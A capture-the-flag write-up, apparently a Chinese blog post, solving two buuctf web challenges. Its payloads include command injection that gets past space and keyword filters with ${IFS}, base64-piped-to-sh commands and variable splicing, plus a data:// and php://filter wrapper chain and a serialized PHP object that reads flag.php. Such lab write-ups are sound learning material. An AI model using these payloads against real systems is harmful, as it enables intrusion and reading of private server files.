buuctf web刷题记录

空格过滤常见ctfweb题目中
*

第一题

在这里插入图片描述
大佬的博客,持续学习学习学习
https://www.ghtwf01.cn/index.php/archives/273/

通过学习知道怎么样绕过
以buuctf在这里插入图片描述

首先使用burp抓包看看过滤了什么字符
基本上大部分字符都被过滤了,就很烦人
尝试构造?ip=127.0.0.1;ls
发现有两个东西
在这里插入图片描述
构造cat falg.php发现被过滤了,这怎么办???
flag被过滤,空格也被过滤
尝试%09发现不行
尝试nl%09*
发现被过滤了*
也就是说想要一键出flag不可能
上网查查过滤怎么办发现可以构造
${IFS}$1
尝试构造

?ip=127.0.0.1;nl${IFS}$1index.php
在这里插入图片描述看到bash被过滤了
卧槽
但是sh没有被过滤,flag也没了
想想可以
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
base64解码
用sh在bash下大部分都能运行
或者
变量拼接↓

我们看到源码中有一个$a变量可以覆盖

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

在这里插入图片描述

··············································································································································································································································································

第二题

在这里插入图片描述

在这里插入图片描述
这道题的知识点就很多了,首先是绕过===,我们必须得上传文件,但好像没有办法上传文件,所以考虑data为协议
https://www.cnblogs.com/ichunqiu/p/10683379.html

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

方法一

第一绕过text
这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二文件包含
因为我们知道php文件内容不会在页面中呈现出来,所以我们要利用filter协议使php文件内容呈现出来
我们可以构造

file=php://filter/read=convert.base64-encode/resource=useless.php

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser
error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php …
?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

之后我们会解码base64

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

连接在一起

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
     class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

很明显了最后要传入一个password并且想要最后输出文件内存必须要走魔法函数
所以我们先序列化password,之后魔法函数遇到序列化内容就会执行函数最后输出
file_get_contents($this->file);注意一点我们在序列化时要序列化flag.php,这样才会输入flag

<?php 
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}   
$a= new flag();
$a->file="flag.php";
echo(serialize($a));
?>

最后payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=:&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

欢迎大佬的各种骚操作

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值